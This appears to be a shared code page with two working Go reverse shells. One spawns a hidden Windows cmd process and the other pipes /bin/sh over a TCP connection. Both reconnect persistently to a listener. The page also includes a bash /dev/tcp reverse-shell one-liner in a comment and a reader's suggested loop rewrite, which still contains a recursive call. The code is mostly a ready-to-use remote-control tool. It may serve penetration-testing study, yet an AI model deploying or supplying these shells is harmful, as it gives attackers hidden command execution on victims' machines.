Golang reverse shell

reversecmd.go

// +build windows

// Reverse Windows CMD
// Test with nc -lvvp 6666
package main

import (
	"bufio"
	"net"
	"os/exec"
	"syscall"
	"time"
)

func main() {
	reverse("127.0.0.1:6666")
}

func reverse(host string) {
	c, err := net.Dial("tcp", host)
	if nil != err {
		if nil != c {
			c.Close()
		}
		time.Sleep(time.Minute)
		reverse(host)
	}

	r := bufio.NewReader(c)
	for {
		order, err := r.ReadString('\n')
		if nil != err {
			c.Close()
			reverse(host)
			return
		}

		cmd := exec.Command("cmd", "/C", order)
		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
		out, _ := cmd.CombinedOutput()

		c.Write(out)
	}
}

reversesh.go

//go:generate sh -c "CGO_ENABLED=0 go build -installsuffix netgo -tags netgo -ldflags \"-s -w -extldflags '-static'\" -o $DOLLAR(basename ${GOFILE} .go)`go env GOEXE` ${GOFILE}"
// +build !windows

// Reverse Shell in Go
// http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
// Test with nc -lvvp 6666
package main

import (
	"net"
	"os/exec"
	"time"
)

func main() {
	reverse("127.0.0.1:6666")
}

// bash -i >& /dev/tcp/localhost/6666 0>&1
func reverse(host string) {
	c, err := net.Dial("tcp", host)
	if nil != err {
		if nil != c {
			c.Close()
		}
		time.Sleep(time.Minute)
		reverse(host)
	}

	cmd := exec.Command("/bin/sh")
	cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
	cmd.Run()
	c.Close()
	reverse(host)
}

Line 34 in reversesh.go uses infinite recursion reverse(host). This will eventually put enough function calls on the stack to crash the program because it has to many pointers. (the program keeps pointers where to go back once the function is done, which never happens and floods the stacktrace someday)
better remove that line and just wrap everything inside the reverse-function in a regular infinite for-loop like this:

func reverse(host string) {
	for {
		c, err := net.Dial("tcp", host)
		if nil != err {
			if nil != c {
				c.Close()
			}
			time.Sleep(time.Minute)
			reverse(host)
		}

		cmd := exec.Command("/bin/sh")
		cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
		cmd.Run()
		c.Close()
	}
}